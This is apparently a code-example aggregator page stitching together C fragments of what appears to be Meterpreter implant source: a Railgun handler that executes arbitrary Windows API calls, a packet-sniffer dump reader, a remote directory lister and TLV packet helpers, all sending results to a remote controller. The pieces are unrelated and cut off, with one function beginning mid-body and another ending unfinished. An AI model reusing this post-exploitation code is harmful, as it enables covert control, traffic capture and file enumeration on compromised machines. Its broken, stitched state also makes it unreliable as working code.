		// restore stack. no matter the calling convention
		mov esp,ebx // starting here we can use vars again
		mov [returnValue],EAX
		popa
	}
	lastError = GetLastError(); //must be called immediately after function

	dprintf("called function => %d",lastError);
	
	// time to ship stuff back
	response = packet_create_response(packet);
	dprintf("created return packet");
	packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_ERR,lastError);
	packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_RET, returnValue);
	packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT,bufferOUT,bufferSizeOUT);
	packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT,bufferINOUT,bufferSizeINOUT);
	dprintf("added stuff");
	packet_transmit_response(ERROR_SUCCESS, remote, response);
	dprintf("transmitted back");

cleanup: // todo: transmit error message on failure
	dprintf("request_railgun_api: cleanup");
	if (bufferIN != NULL) {free(bufferIN);}
	if (bufferOUT != NULL) {free(bufferOUT);}
	if (bufferINOUT != NULL) {free(bufferINOUT);}
	if (stack != NULL) {free(stack);}
	return 0;
}
Beispiel #25
0
/*!
 * @brief Add a boolean value TLV to a packet.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param val The value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val)
{
	return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1);
}
Beispiel #26
0
/*!
 * @brief Add a quad-work value TLV to a packet.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param val The value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val)
{
	val = htonq(val);

	return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(QWORD));
}
Beispiel #27
0
/*!
 * @brief Add a unsigned integer value TLV to a packet.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param val The value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val)
{
	val = htonl(val);

	return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val));
}
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	unsigned int ifid, i;
	unsigned int bcnt;
	CaptureJob *j;
	DWORD result;

	check_pssdk();
	dprintf("sniffer>> capture_dump_read()");

	ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
	bcnt = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT);
	bcnt = min(bcnt, 32 * 1024 * 1024);

	dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt);

	result = ERROR_SUCCESS;

	do
	{
		// the interface is invalid
		if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
		{
			packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
			goto fail;
		}

		j = &open_captures[ifid];

		if (!j->dbuf)
		{
			packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
			goto fail;
		}

		if (j->didx + bcnt > j->dlen)
		{
			bcnt = j->dlen - j->didx;
		}

		packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt);
		packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt);
		j->didx += bcnt;
	} while (0);

	// Free memory if the read is complete
	if (j->didx >= j->dlen - 1)
	{
		free(j->dbuf);
		j->dbuf = NULL;
		j->didx = 0;
		j->dlen = 0;
		// if dump occurs when interface is not active, i.e sniff has ended, release info
		if (j->active == 0)
		{
			dprintf("sniffer>> capture_dump_read, release CaptureJob");
			lock_acquire(snifferm);
			for (i = 0; i < j->max_pkts; i++)
			{
				if (!j->pkts[i]) break;
				PktDestroy(j->pkts[i]);
				j->pkts[i] = NULL;
			}

			free(j->pkts);
			memset(j, 0, sizeof(CaptureJob));
			lock_release(snifferm);
		}
	}

fail:
	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
/*
 * Gets the contents of a given directory path and returns the list of file
 * names to the requestor.
 *
 * TLVs:
 *
 * req: TLV_TYPE_DIRECTORY_PATH - The directory that should be listed
 */
DWORD request_fs_ls(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR directory;
	DWORD result = ERROR_SUCCESS;
	LPSTR expanded = NULL, tempFile = NULL;
	DWORD tempFileSize = 0;
	LPSTR baseDirectory = NULL;
	struct meterp_stat buf;

	directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);

	// Enumerate the directory if one was provided
	if (!directory)
		result = ERROR_INVALID_PARAMETER;
	else
	{
#ifdef _WIN32
		WIN32_FIND_DATA data;
		HANDLE ctx = NULL;
#else
		DIR *ctx;
		struct dirent *data;
#endif
		BOOLEAN freeDirectory = FALSE;
		LPSTR tempDirectory = (LPSTR)directory;

#ifdef _WIN32
		// If there is not wildcard mask on the directory, create a version of the
		// directory with a mask appended
		if (!strrchr(directory, '*'))
		{
			if (!(tempDirectory = (LPSTR)malloc(strlen(directory) + 3)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				goto out;
			}

			sprintf(tempDirectory, "%s\\*", directory);	

			// Dupe!
			if (!(baseDirectory = _strdup(directory)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				goto out;
			}
		}
		// Otherwise, if it does have an asterisk, we need to scan back and find
		// the base directory.  If there is no slash, it means we're listing the
		// cwd.
		else
		{
			PCHAR slash = strrchr(directory, '\\');

			if (slash)
			{
				*slash = 0;

				if (!(baseDirectory = _strdup(directory)))
				{
					result = ERROR_NOT_ENOUGH_MEMORY;
					goto out;
				}

				*slash = '\\';
			}
		}

		// Expand the path
		if (!(expanded = fs_expand_path(tempDirectory)))
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			goto out;
		}

		// Start the find operation
		ctx = FindFirstFile(expanded, &data);

 #define DF_NAME data.cFileName
#else
		expanded = 0;
		ctx = opendir(tempDirectory);
		if(ctx == NULL)
		{
		  result = errno;
		  goto out;
		}
		data = readdir(ctx);
	      
 #define DF_NAME data->d_name

#endif

		do
		{
			DWORD fullSize = (baseDirectory ? strlen(baseDirectory) : 0) + strlen(DF_NAME) + 2;

			// No context?  Sucktastic
			if (ctx == INVALID_HANDLE_VALUE)
			{
				result = GetLastError();
				break;
			}

			// Allocate temporary storage to stat the file
			if ((!tempFile) ||
			    (tempFileSize < fullSize))
			{
				if (tempFile)
					free(tempFile);

				// No memory means we suck a lot like spoon's mom
				if (!(tempFile = (LPSTR)malloc(fullSize)))
				{
					result = ERROR_NOT_ENOUGH_MEMORY;
					break;
				}

				// Update the tempFileSize so that we don't allocate if we don't
				// need to like a true efficient ninja
				tempFileSize = fullSize;
			}

			// Build the full path
			if (baseDirectory)
				sprintf(tempFile, "%s\\%s", baseDirectory, DF_NAME);
			else
				sprintf(tempFile, "%s", DF_NAME);

			// Add the file name to the response
			packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, 
					DF_NAME);
			// Add the full path
			packet_add_tlv_string(response, TLV_TYPE_FILE_PATH,
					tempFile);

			// Stat the file to get more information about it.
			if (fs_stat(tempFile, &buf) >= 0)
				packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,
						sizeof(buf));

#ifdef _WIN32
		} while (FindNextFile(ctx, &data));
#else
	        } while (data = readdir(ctx));
#endif
#undef DF_NAME

		// Clean up resources
		if (freeDirectory)
			free(tempDirectory);
		if (ctx)
#ifdef _WIN32
			FindClose(ctx);
#else
			closedir(ctx);
#endif
	}
Beispiel #30
0
/*!
 * @brief Add a string value TLV to a packet, including the \c NULL terminator.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param str Pointer to the string value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str )
{
	return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1);
}